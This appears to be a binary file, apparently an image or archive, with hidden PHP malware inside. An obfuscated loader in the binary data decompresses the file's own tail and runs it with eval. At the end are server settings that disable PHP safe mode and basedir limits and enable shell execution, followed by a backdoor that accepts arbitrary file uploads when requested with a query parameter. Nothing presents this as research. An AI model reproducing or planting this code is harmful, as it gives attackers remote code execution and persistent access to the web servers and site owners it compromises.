#C&Xl|MѤ*DYL΢X+7%șqoI[hp Kf`AŪjQS&dNǔ\ڨKQFH#p,ӥzNSqZS˓z+%!oafcklrnhp'g5LmGء#*#k%8dDieNb щWcoafcklrnhpgwgvtifpurqWRoafcklrnhpHxR AGS+'V#q}n\ԾA/B!vBo%=E o\uLpgL)j,zgljަB*̒G)W,z֞ɹpVʲc:dNs%VtX_+s'S=oJS쭶`Zf0?NÓ`A7{:E*#oafcklrnhpBqWp"`[#eҭ)iDXyP-Tᴛ	BCƻcOgCk a`m#dKxj;L6rns@o0O"Nt{Q|;lލ0ISgFEޔ6*=Ns+ fE@\~oafcklrnhp	6(i^{Z09_+ZMVbƋ9:k
?fŢDU{Noafcklrnhpcoafcklrnhp!.U:&lv G|
n+E
6N1bV~b^nk;=m	mV-YhzipoafcklrnhpO'0oPrt]6ZuJHx95qotcMwP}WI-V@E4@Q_(;2;o@	_"B'Qux2sNI!QrCMw҇Tw4Gqs?QHZǸ,]m7^lܛ-etuF,ƿ(]υF
FXi9O_%P	dNWE&=0?+eE}15hd(6:ǼQo%Y Sy
ZGM#k$-hu]^zooW&䗜H QH
_P	No)'5vye~W=p;e=8aRw`쳒H0n2cʧyʶ#{/s(}]m[ BOI)
N'+O#쏑}([ $oafcklrnhp16 ط
xaN[UIDLoafcklrnhptW8#%X 7Ld oę!
.!7D5wgvtifpurqa24?p玙sN/J]pNZ]v䈒{wgvtifpurqğ4͸epPJK
̯3AC=dI qI{b@@LcQi0l`J
ܢ1s 4 
^p%6L { R #&(ǥk4HTD4fIGAP3=WPy)	CpCBRWWo`e M l|QQլPHⷶDjou1V"
AI/%ۿSCx+ PڶKF||oP[WIkifQ.laGsEo98:׷{Miރ5T
0$W*i0^K󔝅Km7%8RH}
M$GD@A~h- 0t;X
J0oafcklrnhpXN-p5&m~q._ϿG=B[%bMJ|;@0&ё08:rlT,A(~/켵{H,`.'HOh@_
.^wmo?aokD}"V}[\x!
oafcklrnhpϫtK?X7JIWoلm1nUZy{L]$R3}_$<?php
$gQbi='gzuncompre'.'ss';$udlE='file_'.'get'.'_cont'.'ents';$nRwv='s'.'tr'.'_'.'replace';$fFgT='s'.'ubst'.'r';$ufok='e'.'xit';eval($gQbi($nRwv('mtwauqezil','>',$nRwv('oqzyepxhgu','<',$fFgT($udlE( __FILE__ ),-28265)))));$ufok(0);
?>
xTǮlfy+ߠd5({ON{^}d:P D^KqTpk_gaC{ޛt%_lK|yݖwӒPoW7/˸_@_ݠou~OC'៪ߧz7G}4~wB70Lv%$ۑ'?w$ێŞd3:pygp
8l᳁zʏ#w-.|2ɷ-UJa5\oѱ$O[.O'E,G* rrWMgS㓵O-++ZbWH70ļ5\S8G4D/oqzyepxhgun@T2 |6_ܣPI-dDjA@
Z18*ujN0(HoªbcCqdGQatDBrb	,xT,+ \Y\cylDو@7[P}	A/zT}U-?EC˰85bsLa%lgvLRu'SH Ąf`+^)Y[ʒv e烲mtwauqezil&FZgVĥQ%K\wf wQIcU6?VxFz%:B7MS՛1|hV֥,H%j2DRR6?okE}AQH$hhcdEؒe&/.	̛Pͺ\	ϽeڷM%俋lE
͈!]3;hejK+VKiZ'c;?l}1_*(ܦv2|#R?$61@H3L(3
bmnj(jFrpTQl)Qݦx-q~r@mtwauqezil39KN梞N'ʴI|' g͏@U}jc|1riYWWeZs:i3ib]"4%C8Fߖ_T7#[,A¿mtwauqezil%9[cAAY@ U!BI)NDsc]=	soqzyepxhgu'J7d/mVI0847;IIG 0c%v`ʜ/Cm-l6BߛQa8y֠RVi~8X+HKl0
a
jS\aARizoqzyepxhguy(~L+\~~R_Qeck)Ǌ%@m;7AH8zpVnj!) )YoqzyepxhgunӔX#8y}1}{хV]MseY`?jDg1A478Mw\6ſ5U-.-M\R\L-(5}Fz~ٙ \*ty`Pv;a˰Ӌ/T	D':V1+خoqzyepxhguAMmtwauqezil/8ˋ	d{:9"O{ZS&bȓNl,oqzyepxhgu4VѴF.~)_&NsĆ)"RD2mtwauqezilO0ǜ\cg^?omtwauqezilaf@P,^qLfև,pw*#دdFw~֕=iH@BBG^FMNmvcn5Ŷ麬j]mtwauqezil7(V2}mtwauqezilԏcIv&maq*۠8rR&%2;tzw'h
qqG}9oi]6nSwN
F.oqzyepxhgu'w1go4EwVY9DJsl	H1}@)WT=	/$̠~|ljin3%,$",ۚ
{=y8HboqzyepxhguY]cI5˛+[%37-rC;t!\UV:	+`m6~l9E͖󿶭ؗ\ܬw}nRvt6btMoqzyepxhguéȖǔDMd;J71Lk¸YOoXt6c}_o&t2n5t&;1 i~ZqMT֪=}0`{~={UC~@PI~[9Fm$hʣ$̍#y#hȈLur=xnaR{ٸ+܏`mՊݗyƊmm /q
8j.ЇWá~JSZ~@wFC)*A_
 'QO^4Q[v2בUdb	+7K1uG!qԅX%g1K
"'+Oj+p#( mLP\Emtwauqezil]K(0t	l:G KM:	F7{▵\Y#kEbw$G~~E$1+#ڌuKk)E6ߢxe;6WKQ&{ "mr-hG~0Kbap^ VL|YQ;,#ǶxUӕ``Q'tx2mtwauqezilvǚ^|
Gxlk%0坐yNg*7iB+ԲM6wεzzҕ0r0dX,E;ɗ]pe
7fvhb*O.^lB,#"_p)Rjwh5[?10C2"%|N#uD-Y	5G6Fy"r^4NS6孋!&ޭsBaÉLgɚŧFN1{j"d5
*aUf {Py6љP#|"-'O!kK
C$НRyV&4S|lK[XWi"kDAxӻXṯ
y]}9dJ׌B"﷫v㑺9zwǊ)hqhhN';+.wi':Eßzzk9)_[@A{
=槰yF[0.d'-{
[u.եar%)J]_F@a!
%9rtT͡doZAu҇XԓZHśnoqzyepxhgu%WqaD+!鍾{=#z7;^mtwauqezil'+sWH
U&rQlNjBo;bv_	ze謫KKn	^cb3sDA
3XB8Tb 	X`Wb2OdTMx'ۑ&yۗIxmtwauqezil']K
aQQ*ڎBİE\Gj]Q9iyݜrtS&хJ5}|갉GFR%baulI\"UCH1kC-v ΡpoPg:Lh`k3ey2ڿN7N
n"
RLC-X\2Elrigrxye#BTbHXOޕEe-K2s"'w@]oqzyepxhguk˟
P5࠱GC&UT\0NsM(֬!5X5	,@w̟dJHvFwB֩+l\7;?e	"v*I+VلJ}pK~U"oqzyepxhguxYܕ´sX/&ЬSCļkG\Fgd*}8]oRXFaWoK*;x9;Pugd[};RH|(}Р#ZVұ4L =R\0MdsȬizDCVz}wP=Troqzyepxhgu,Վ{I
"mtwauqezil`y1ot$oxx!έ(iD0O%]
iި\q=^CLY|\o1S7BYÐKNO1@l~p㞞kƔ|oEr$pJ`~4ѹqy}LQO*S.$UgOIڹ_޾}QDI&8ĂK"T9oqzyepxhgulhhJA,|]MT[FqOqk| 0io)hpoqzyepxhgu8aeqnD'Is0[Y+.z"K9 &EY?f]O
cb6ce9J!'pCnC*mtwauqezilIPLQM);'7o+vFG'br'`?YP1(jC6hPVkձ$dQaU`iD#SaR-42S`bߥLuf0D~ݮ'~mtwauqezilq#J0	GXmJSv&}Y!^T'Fﹸu((\~
z*z|!#L$d_Yچ,'w2Tٞ2oqzyepxhguhn4$iӨ.ۙ86+ƌ/G{[ f@NYo+Eɬ`.Qذ]5;7xx%KvzZuaeH2AkfKJ`9P~5n]H.1Ĵ":`Gb+lLutmtwauqezilFsMOKRLDPL]?t
E=3AN`GcGQ,*#"ŤbG:BVK
t(~	[N
o/c&mtwauqezil(Y!Tŵ"J]vD('ZI2m	=E9v}Ӕ)4
4Yќ
	fꂀ|'^4Ȏ;f!"[u80*Y	+0L/	Q.!~5ksbyDpD5 G'p&gp0l%Fmtwauqezil.:SM=yiUңPd/ʫ9Wد/&*ē2_xYJ	ѽvQmtwauqezil* ?ĘJoqzyepxhguǷP[͕6(%/2 j*Y"
)!w*hO(Ǫi9#|s}
ԲDmtwauqezilGQwJe'yF%t풍x@\P`P*Y+o85%K:ۓ_rĹ~#g.C[^JD~՜:;{[xJj?%2_ut3Yn)]QѿKuUmtwauqezil[	+["VZslYvE`KG35~%Y
͟	K
xYIϪeT qmtwauqezil4\2C*#˖oqzyepxhguɵŝr:NnB1#E7bOiYra;5R1~zJf-l3e/өf.sgpRmtwauqezilȼ%61p_"DAY#IsRb&`ux5Xu,Lzdx[HK{lQ@{؝oqzyepxhguk4`{ٕǚ(U.sfᾼȶu) [T~fN3̔6+$;i=R[L|L%$j.h7Gg|MhqyX&~M-B!'Qf'':~{v9A!6&ɮOyS'W"2IEZ M݊mtwauqezilٿW@3ٶCpDl#Tj_8c&. $ߞM/{=XWGUGYWs}ߛ=	k@$b_fl^;~5;~
JϵtJIA9\X-dC
xN1`05GÓL!,LLbKVֽj[ U!f_Y=m'JIz
8X/.FT	oqzyepxhgub^ؾ
[c	O6z@dA'j%.ռdΫrPoH"@@I-һf
=DV-[Ah4AīoYU5${^❞@Kd;`vj8K:Dmtwauqezil%53flLO	n؆.s,xnEؓbIZٷ|U,mtwauqezilLDu``n&^"TPUc 9)╾`Ioqzyepxhgu( mtwauqezillrn}D2.|]CUzCعkPX; -;	

6p
5	?"S ح{^)Z-n(
$oqzyepxhgumtwauqezilzfCu75]EKL	GBq%Vֈd
Vwx%a1]^hgP46"3wl&`_h4M]Ū^oŨjs"?]8`vYZ?Wmtwauqeziloqzyepxhgu
7`	8]އ6vHqjw	08i7옙8%FssvT
VK$}_[6TZatP'19=]lOgoqzyepxhgu3t@wO+$=牋za{rA9z(,Ҹ)-
~tTt^mtwauqezilmtwauqezilY21V4.ZƩ!kM7AJ $K{ 
oqzyepxhgu;S/m?N=4gˉbP`:곧|E4z
hOs%/NnoU2wzv&Ǉ$%tU藁`Tz YoqzyepxhguMi3ݔk x$̏Y}ޢ&ʯ{ 9Gxs9y
wCBLHۊϛ55L]^J4}~_PP3 ]K/0~ O
K֠%p曙'0A8NhUoMA(ⵧ!Ig9p{S(OQJ̤ ,Wz(-R~{%kԜpy+
~!~cl8sbO4A׏YE}N69ɟUK
G;q5AYZ(7w倨n5ikWʈ3V}[볉7t͜9r4o't	GuC,zhir撺Q0;^Xcɶ Cmtwauqezilm@Q]xwYT՘zW^G4jkW_t_VmtwauqezilRa4Z$qBu\޷_1 ncC_35l`Ƙ`EK3EJ-88Pn-=;sg#ۏ}'cTԠ)
ݲG?Tmtwauqezil֖3bߩ*ǏSD/'δu9p=ӥE!pt.7ioqzyepxhguJT(mtwauqezilZNp3b a~̰:0i6jNv؝FLEB{F6zU|n}ƹe׎]E"Pg3Yܓ`jmܬaZ7[
7ocse=U3cx.8"nw UFf߷_N$)WaoLoqzyepxhgu'#p٫EG.hᦫ
\%_1mtwauqezil;:4mtwauqezil5&JNS-poqzyepxhguSs$PI0J%	2	O?k~F$bNj,HfvA(QL/莛}kbh )rS7ƄzhEE2V53H#-YV=??--HH'Àbur2Ym\bnI7IqC3\XW9&"U})7ClVO{Ygp?nBp@moU!@7Q!ep-!!rhNA)3Lrz(
6LH떨ӛ9
w$baeo6oqzyepxhgu;o16V$9!0nر
z~'CMEW5E*" ͤ]ҵ`\p"e(';oqzyepxhguчGjll
)|4cimVҸ܃QN+c İ[mv(jsju?dI]"&^"4aRG`=;WzHelp&VH=I$cYUۮoqzyepxhgu*1
MQbL2ErKd5]xk͂el+Smtwauqezil(7Ek	?hMZy_+xB
m|oqzyepxhgusͲ$3[ȍ?y'b#ۻbqy@LhIq \
b~_iѤY@Fv.3mY.a4M|o󢲱G4O}y;)	wĩIlh-V~DlB@Y]:Iމ0L]ńP9+bZX͏xjȏ!Ow!֋X
t7"f5+SVw&n4`hEoqzyepxhgu~e +oqzyepxhgu+RkY"
jU7rPxP\dccw}1
j}¬
oqzyepxhguWGmtwauqezil$HY+4}&ME!nk'ЖU,w1d?;8p9jG%C1)Bpx$
e}gJ"83Ɓ
@W"01WAa&)] ^ ^=rVr#\?oqzyepxhguU3o&9jAp/4oqzyepxhguypuF?onj3'w2|ÇTC8-} koqzyepxhgu2T{m:t\yљR
#Eһ_~m_:oqzyepxhguը̾=[/J&/dNlɦ؄/!5?8f+t2%˥e|2tkf6Ch4#mtwauqezillE֙\+`˨'cq_f]nq$8S%#kh״r.mtwauqezilj)ɋ9@z$^gh7X ϼl{+ez%T1qg)B`|X+Pj^TxuشӝU;K̪}Kub~oqzyepxhgun?V\:E|IH	)f&y#Mƺemtwauqezil O+J1 L4q\@PvY}Fʬj(-~?{ v&! X
sBmtwauqezilmg~;:amtwauqezilN1 DXp҅^UWPՊM]]$CiQ:2
yj}$E𫙼Mb8*˰	0Y鶚!z6
ջY#cˏ-ӼM0n
rl)!,˼s}m%
|JF#oo8=:CS2Sf|[^fXS缯	$wHh5Ч$4	aD.%rs\ٳ46oqzyepxhgufh/Ds+aMoqzyepxhgu@;siPX#.D#G_UlS}ÊKI`Ń9L`坼_6S0f =Ec[]PTƒm,"}oqzyepxhgux@rgq
s`mtwauqezilxh('yqo@ mtwauqezilaTNϺa7կMЄc1,N
76*OmtwauqezilUbmŻ
Bq#eeUXa4Jbwo$ @&?|u_֓\6
oqzyepxhgu&F؋G3U)"=؉ٹpoqzyepxhgu廾I7
YI;[wC+Bʁw]ІڬOr#bnקWI"T0BfmL{Eěl{vT5|\N~PYǕKol/71L2=zTa
%'lppw!L&	4aD+m??o6|ɻ~*jm*NOJt\
J}o!0?+AK8`@9 ]B,bY_!dgJ"7G;	0̾Q׸oqzyepxhgu#IJl;TLC&kDm9p5HS^0jUEPêHL=fH"u۪fƤa?.jS7Y@Q9 ScYo1w{A koe+wNSuWkxcxxRNɌ}s}p :@}!lvne{E+Z&ү_g8b6ՖZhCTmtwauqezilALpd= մ䶅1[,D;f
0ј"0
a2a2S~jFB\;=G]p7gE_skvȑhfE?]V8͹aMn.9UҾh,yH@Ӝ%6S]OQіo&US.ns6ϼgqw{zĒ?K\4nz,mtwauqezilz46{=y]+B7.9iM4Lΰ]nY7.bFZM"I[yAnc$[5sm_
!hJSd~ lct/z4rr"}r)D J pl"2e~/θ[S`ێj\a@e@,TQfC7`oqzyepxhgu1?dZɜz=XM,(GJ߫!cSԤ᥃},s'
u©|I(ZN7+^`Do:r':yGQ#}N?ǻmtwauqezilD߿{QyrrPhܓ9ܵL	x7i,..[K@,FSXu2:x̬ώ33xA/8IR+xb3^W,GEa-?;-ycvĭ@}OE*,aTŷƤXU=;8FbOhҔľ oqzyepxhgu2TznBoqzyepxhgu*}zT
5=vkHҖ]+Z؇ϲq#N$:T-'[
t!/FU뱼6k-j@FjY6) ?┯oH	r"B8~nEmtwauqezilF!wH!j'x#
AaTJ}Y;c;13̗Y"s/[OI.	ȈsE:w. zf!bJlq &7xU@.
9ߔ;f'XWi aq@"ZJK$5kc,/
Y;mtwauqezilm"?siաΩEfg{!#&.X_x	xqeiY1 :@YF}mtwauqezil5jtiAmtwauqezil3l/bqL Wwɹz,7eT(;
꧘
n0M*{0̻nN@нsmF	߾E+G5vv9O9)kQ|$xva@oU"#LRd=wjNm}΋GSV+HHŊ	X^pA}#鴡Rdס0?FG(K5ͦmtwauqezil?_AV!(9y$ܞGBVB-RZ:Q'`=x3ܧNcd^%ir[v|yrRPx䧣ZR.P3_mtwauqezil~|V,
-L[j-_kvڱTST~tspQ	85Osa1ˠ	&(Te|c"#pY?$e}YRmITWMN̶@aC򝽻5x18'0u!Y-KJcjM;rEZ^'c
dwG@x0n+{6 /?0̼PDoqzyepxhguΈL&%WPCjz1Bh̀-f?fs1/?Tz\jG}	bء
IG$	zϩF`ܩ0lڎw_V%@~d;?x'=sF'= z'w[eeBBaoqzyepxhguab{cqDXU!.21ڼlb4y\Wв#SN/eFZhXR)| aPG8-N5_bW%G㲒Dˠ[&}7ӪWnQ|@oqzyepxhguJjH|U$2gXi-|T9*)r{xFGva927oqzyepxhgu 6r6GN5s1yicɦ?!$:.D
Rfȋe*||JBc4%u:3%]3A1a[5g2S-θ.8pYEMXmtwauqezil4doqzyepxhgu$5&JsI?v,~1ŴI-$Crɇ?'x#s8"k?)8rABQ;ddmtwauqezilVPIxY[0_[%b\3
P'	Y` . 0F2_tÕtg'f JXpg8V~ϼ
*9j3|yh
=$T`40AjMc]"
Pp
;xosAq1IV6V8zz5_ji:ӴK#oqzyepxhgu"$+v 򱦩8o)|g8_rW
X!fQjsCֻxë#~QnrEL]א!?O0WWbխsnlL
/FSգV)6RÈ
%, ~MfKqQTYŦ~ʔj,0xQ}@q,tmtwauqezil3zPl0~i	ol*|DfI !Hj
z0m'Ԝ54"@Ivis5޻R3CS'Ym~-	6iQ$j4g.=Hv:EX4I^Hz:ېZEokoqzyepxhguMGk\|w,xoqzyepxhgu9?Kb&pE鹵ܨ67
:yNC1/|O
y$(ņNd9Y] ɒ]!+g=l7#{{Hĕ_cV8/5*c^(ed
$U;KƯJS7Y;=JW
wé꛾iD3&|=#Ц~!`LEӄx-[j0K7#2k܂ҷ9b|!Ń#sG?ڙ=CgGSoqzyepxhguzei.V%blU
U^D)?Ճ;toR-"
N#{8;~̔'r'=JG}ysZET늯@ 0qn9ZJk#(+ͫ
cODSH*V5+yM5-1.(ZxtZK[9MιLm'kH޾Lc5 ȰcAMCZ\`y^`!(FGv)߷`{*M0yn(y lk˄MG7*E|f|
ЂA_/y|h!7þxTt}y6Mp
BSNToqzyepxhgu Jmtwauqezil*!I14^P~JɌC̨R&P$Zwг_8'jmiԋl]l}yL݊g./c@0`LaKY-Smtwauqezilǩ)cEzJóOˮd+;uH϶ⶈ-5|uź(4{5r=,& WJhty/[f{+ofk'?3v
KR4E&7mtwauqezil74'+e]Wn^2Ӳx鶾+!$ *Ed7mtwauqezilia[=x̓H"sOQإgL"P	gmqN;޿5,2?"oqzyepxhguAwׁ|(,XW2f5T |Ú!%_ն~lcTSp"mhufZ.ڻ$x%tmtwauqezil zS|{57bH=v݌xAoqzyepxhgu{mtwauqezil7=M!a'&2	\VU
ޔ8l챥ׯ7cZ)[ mtwauqezilKV9soqzyepxhgu.N%h@F؃9N$_]R%َWgi'ǪPG!FI[\+!OVfʦqPOܬ]bOVZ2D{h6W[I5i/{QZXvUU*(6[
B7mtwauqezilvHR9QMBץuRYOqͺd;@q3m-Ok6zwde逡6M
{xoqzyepxhgutSy}ߨ6ׯ̆b.:а1cI@be.1rV'{mtwauqezil
Fo$9WmcQ"iy"X2smtwauqezil4}ܼIroqzyepxhguAN+Y9mtwauqezil"5_-ŎlՁ~V'c]MCRxl-]0%Q8'؋){c1D*
NYѭs\eg"NToqzyepxhgu#ȡB*y**g
-ڷYt$uֆ.'5Qx;B'd= +ͬl;NK7-n _^]1g*B_Vj8;㿽7^b#	H0Hwu6ٳS@*8yX _ub~ҍ̉|u}xϷiq^݇gE:loqzyepxhguP/HQx@ü VNn! 986ɝ"WhCL"aR;_Ȥ5hzu  Z"n1tQ!XЃ8lG:PvZ#ȯH'luܓVo˶
׈e(QyKe5=~?ՀbX9yq˱hYk,Ň&-H-:M
J/
Eޔ=zAkN}u8Cr&&P!PSxS~EoqzyepxhguZ;O.mX63n֥e29Ջ2^e{	aW
79dV4fP/~n5;DB''whQG&o*U]H2mtwauqezilATYپ,d*OwmC2l?qv1yӁcT7Ԗ|F[΀ce
Zβ`vp5c2 E UNsroqzyepxhguPuL%!xLW#`NY|5|m]0~DrCMK/|XBi䰟QGLrrl\fүw4Jcuɵ|}BBIjqGPUU[s
.كfCfiD9@N)չ\aFLB߀Af&vNTRYn={g $t2c4 k.?1B~z=	"/9*_8NG2:3.E%$3kZjevUv$8*0zi`$Cove@\02WȍuIP-@f79\ԧ7*5N6R4O:(hY=E8g#e*}"6!tcQz*:ZyiJŃj\(ݸ!xoqzyepxhguS_-mtwauqezilV#n)~"ެoqzyepxhguzz7"@kzZƞv3&Q[jz?)

rg:_XjK7?hʜARNApcS54
Ys4#	$b$ƞhKYoqzyepxhgu7\(Tp|=7==}Iخ*oqzyepxhgu|Jq|n
gyz/Dͮ1nRTd5ȏe3Lpn벹AӺ)",5wvhK3ga'I9߈'NEK.f?ALtE3
I
OHLkHX+K dPԋsﲆ9oIq4S+)NHnYrsmb,U7
݇\(IE:˽R|cUZ}B	l^Zp'=X1gf֛?S&cYt[{^gsGǋtcN0m558MUu~{WrvO| 
up~qҚn%ۅ133?~.Nu2oqzyepxhguƠ-U֛l- 8B\yB#ȣ?go 'M*Սoqzyepxhgu2#PS8%UJ8'κrN4ل|\LQ=jqb
S%U5$@-AK=z,-`
J''ɷ2Y8ɡxb~F-?5'Mtхp* c\Qoqzyepxhgu1ul~9mKd~fޙ)'$)TΛ

mtwauqezilAYջun?\+?|}_jM	8Lad4{r*/RP
7Ϝ,t@'浕y~SJg'#,.fJ`?h=J`H{^D4H$K,|`7EsCgI5WeF[6b.o 8#ut4oHIemA
O)PWn44ar&yeIN.TI+Z*| e^b){/_2lS.f5}ǛqZ: ;իa AzU#w:omtwauqezil[oc'UOg@{xpXs5\}iK֣6Dn`V"_hfH1!gOW#DٻB_^gʊCc5"yhͷS^iֶct%l29\iAej
k[ΫZs\AgnK5{/O72
+߀?qqY^oȏ,laCH'VN" I+8J)bc|B7M?ȟ=*C@2_
esg'Gjf4{lhNpvFMuyM;w!C]E20Ͻ8*"*B
)A[-XH7#w~e@:HēH{51v kyo@sLGye{J
c_jS {^
\J~h8cC^0ތh;bg1NeJyppXr9?Z~L0rkM Mi{`Sq5A׿];oqzyepxhgu{B;-`MPOCv7Aoqzyepxhguw5siȼgAG@o|RSxmtwauqezil)09q+O#/;rGI#	r7LoJt+FoqzyepxhguQ̗VAiwά&{+ypwՉ' oAPz-UW1
V'"vC{}R=&_Ȕ_²l˓gnRe:a5ɑį,0P^9
l?狚t|I!4ǵEmtwauqezilK6NXe/'d	+gv6wҳixYYO* 185gmtwauqezil\oqzyepxhgu`xsߥ~O-64mmtwauqezilmܧ,pN÷T u& X;q}_.;\Bե*M9A)Eu(˖pmB tɞ4%wtm!E2~{&{]ރμ\[oqzyepxhgu!Z',~ %"A.HR9v.mtwauqezils7ΥL5RkYLTweݙ
	HP9 &aO,bӣ3NXd$\	&|rzZH11D迟afHP
B˜{Ǧؑ7PhY[}ǴXE$e4 :tm"oqzyepxhguvrQmtwauqezil,e녮tdmtwauqezild'k@]Veȩ Os=Eh}F4E\:pe'g" hͬ?jdN 5G4Uo)X}^TvFt6("oqzyepxhguf''袳4r֥zbicSn습Rm^^L"ڮ6mtwauqezil1u	]C=zMCKdk`.Sa4ݵ^yWB&ѐ/5ץ")4wAIKmtwauqezildkؒ(ȒҊ=N|cHˌ}Y''}_;W͡-`XKN*-ߨ27G[UZ	
HKCVV8Y/T
 x\!l0l/՟s99L%|K}M$6_ҍ}Gl0f1a\gL a,sj+8 wHbdmOHj9!B[jmtwauqezilN '6,*)X'a:8x=gޗmbCx(
s43T
59Oʡ/qR\Pč9Ɍmtwauqezil,i1xoqzyepxhguULZ7\D#O4IJ=yItmCkv	2x"^MʜoPEXOVzdaL|+˽&b͋.NY}dH;9'=3onPHH՘:1瓗T/@e@D;Է4Re3 %MlMV{7%@˩ ǂIECh?P=|$zy66B@8Fc5F4&m;oJ,4PQٲۄ̳ hmc=ZR.LUC/1y#m)~TH;9f5|o_boKjPW|O.oKPkMyh\HjN'a$
L{simtwauqezil.ik upOdctʗ
N6/
yejoqzyepxhguFf\5s$t:`xlv+zkj#Qۏӯ7:B!m@Ox](Kv]:PP:!nss!Bm(4q̜4RpW%ӴުLth9"݈JG#ߗxG`h/5DwmT4l~
mA/uŹx6l;ٍ)GqⳕG|gJNaB
4;Ljcz*}_0g(khjQM|0.m\8߂&P%YZ+i"g(#P8K-Vj3#ܰ|xWVJqU7whT:_YM2ҷt2̫oqzyepxhguվ8+4
?Fޡ2fښhؕ9"mtwauqezilўd¥	fGtۢ#.W12;x8EAB]E%T+SOŋNG3ClQ[kt*EPrc|~N9:#4K:u,sn  e6۹m1lhoqzyepxhguTG۟;Aμ:TۻD(:5;vr4JV1ʋ]EWcpͩtQAH✋2a/HBW9L16~3D4DϿ6;7_v]Tħ'תl
6{M9mtwauqezil}}2~6ij$-895b۩=&/8&dTmtwauqezilgzB`.:]djjcN?+F@/y]Dw-b"~f-Z!u{s:Ƌ I͊#WJN
~^fdgl\B{3_ЍwHJX }cLǫ~(
r j`5M9	mzpd j4
[+Ily-!AQm#6*OC=?6È'm"wfo0\?zpN}!)}P*6f?+Z~gz+#aclތt@_Vq+̵~D|#4S(pRzoqzyepxhgu\N0hBԐvѱPB+Xb_xO{=Nf64ƺgj`YwwbpqCos=)o0WE8aY5SPitcjXAVtZBMP+Uc 5%8Fxs\Z~UL3ݘokke4%
0W0:mtwauqezil9zcٸ|Gvmtwauqezil[y$ܪbL$m2wI+%ㇳCa?&kmtwauqezilUoqzyepxhguE0FD3Fu6+r"tRmT@*59	∦'Z@u{D賰AXa\	7afъCOZ9F$8+|mtwauqezils!M*ClaD ({3[1gksS]1CBmtwauqezil%#DY/2Pe[ uuJU\s`x{-Kięmtwauqezilak׈mtwauqezilƚ\[3)tx,NDj&}Sn[3d ,lJ+T[na
6G7kS;0 {et	&\Y_~FDƆ-\ǛW}@2]mtwauqezilKVmkI4~
mtwauqezil{Dp'p%is[* p֝RV-&a7i%q46]2 	6q63amE'Q1l/B	܌á
mlinb՚E#I8-e29cfsIEuZԨ߫;yDFdNF@$6qA\lp3R33CGK췀ǔ$CaT0,=0]64z޳kGD+_מh
_n8m`x,O oqzyepxhgu ߶KV8:cundWU=,◬8=Gtfol)VM	/_d뿒8-Ã0KJVřgW[MjgT[\Q:"J߷/ccߴOr#40|1bs.%_mtwauqezil6w~ż4ooqzyepxhgu9U[Hjgo-[-wzG)(Da/aG
-wzT,- ~PV0ZM9\,qF5kNXo((Cj_K&uӧv98KC5r/&ɉ 'lZYzCE)~_,:oqzyepxhgu䵏BK-BUNƊjՕ,f?/7 Lgv6փC$UvPc8:(\3JhDnU]g
ϥI+q|mtwauqezil?Q9wtlnݑu	!u"Gjږn}"`T$*A/fHgeoqzyepxhguL?^Iflk14"}S:BlSo$Lp}coqzyepxhgu"Ze-he1y\h$.;P+Hv(2dߡpNDM@ 1wSC31!	x\TA/lfbL(`[R.N{Q]a^ѬmѼeZoqzyepxhguQq{Y71CL*|#?M?`uVe~Xd6.RP`䍐HN2(?=yCe	9:a
q"M@7_ܓ;y~ةN8d݂]%4AjCp2})ñ,ZêZׯwU2gmt߈ͽh!F4oqzyepxhguMB n*ǛJŁ@J96WOeٵB{V!b[HCZbKclcT`=&UI?+}?
5Ɇb,Et{3}Br~g_Q![ey6^~~;zzer6	FylmГR=oqzyepxhgu۷mtwauqezil!7b	G %X׃2[,ZbF(MhY{?ud&ԇP׉trt*+~	r9ss@ĳf=pMo}xfE˰hYf׌	ۍ;fS\ajy!	ǉedxpYtsdyҽZ|iK݁є@TW"j.㪥4fWPo]}k:K!
??nPv0鷆oqzyepxhguQ}M.@y-)1@,Ftx؃?	||ѭ{=	FA+0|,TGM*}ּo?ҎjF	I=`{1s,~ SMDa/6%AӖ~iw&&fȈlNEAXY
 oqzyepxhgu8O_L243es$eM^ACGE%mF|pmmtwauqezil
a#. JJ#U_mt,Ѥpt0Gb=mtwauqezilg8hwLOm,Ḱ-pV4 {g
uAWscep@u:$a52۸Ew(*0o
Ւ wqҖKuR/_(((mtwauqezilbΦɏѼ1nȎL3#R{	|
ᛇ3"ux蕜zo]jujn 
u*FT03&X;/eW~!t!I	^0tbmB!Mv~o2{@GlKkŨJ8لʰ곭|Ԕx|+O
G5mtwauqezilE |_oqzyepxhgu̫u.eD޾?mtwauqezil'v~mcbRmle63Pkj]g|un	%@kL%lh	m|M#v.G9Hb=Q l5CX)	(YbrUB8':W,NGL| t	N#r:jG4oqzyepxhguKhbː ߬V`,IB'ZbSx)cT|;=@AaΡ߯r7|c.P-kn;P es)}oM-GՍZ/.r	m0 6ѱ7*qi)܇ |-[JKBG؆eg6| '*`GFF1qyЖc{1[oqzyepxhgu?&;rbw$bIVYPAyMb)
$(6XcyIƶVGX04$wLhϦ
)1(f|_``EPGw$
VܰBj˥CNdUwaȥ	^+pIGBK;meyMǿ`;Ó#ko5-|.oqzyepxhguL~;{H#{^/k|j%Vx4Ͳբ_^LjmS6gNdRe}8nÃs	%s`EJ(WCA&8ctͷ䈂yQ
=	Q1eJm/[gS/SMQ27V;Hv
xDrJuP^1}6Cof9_I|joZu,G+7ڰ}HtD(w|V;*}\5jQlDӉjwY `wkݫ"Nٕ;ן:[,b!,mtwauqezil
G*\ے"sy˸{Xt /
b$#"% +%r`3i%%|Z!kN0mぉua*tMy35TQ'IJmtwauqezil9 QҼ4!&_ n9c`z=Fz.iiXe'oUIoqIhOB|'9Y	?:#)E|{oqzyepxhgu
 лhXdhXshjNPE(J::\XV*`"I/dD{6Y915yus;i3ymףx?9|bZG
K;mЊ(cZXҝh/׶i3
eN"bR2e[AҾMe)imtwauqezilo:mtwauqezilΔ%?*R
9EؾYNXX15Φ,ŅX`9qAY8w"ʽX{FGd"t9?N|+N;Y9dT;صC-ǗP="I.fkim4g#Vıv|v1bʷVs.u%.ɹ"¼_#z6޷"
6í%=1YIpEOi t.Ս_L:s1-6*3~3 7F}ymBj.4T+|O0E gDOrkENmtwauqezil(t7a6^i.^mtwauqezilO .x·S׫(T%[%a%n*&cD̙`geF%;R2aŻk"ٖy*@Y;?Rsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
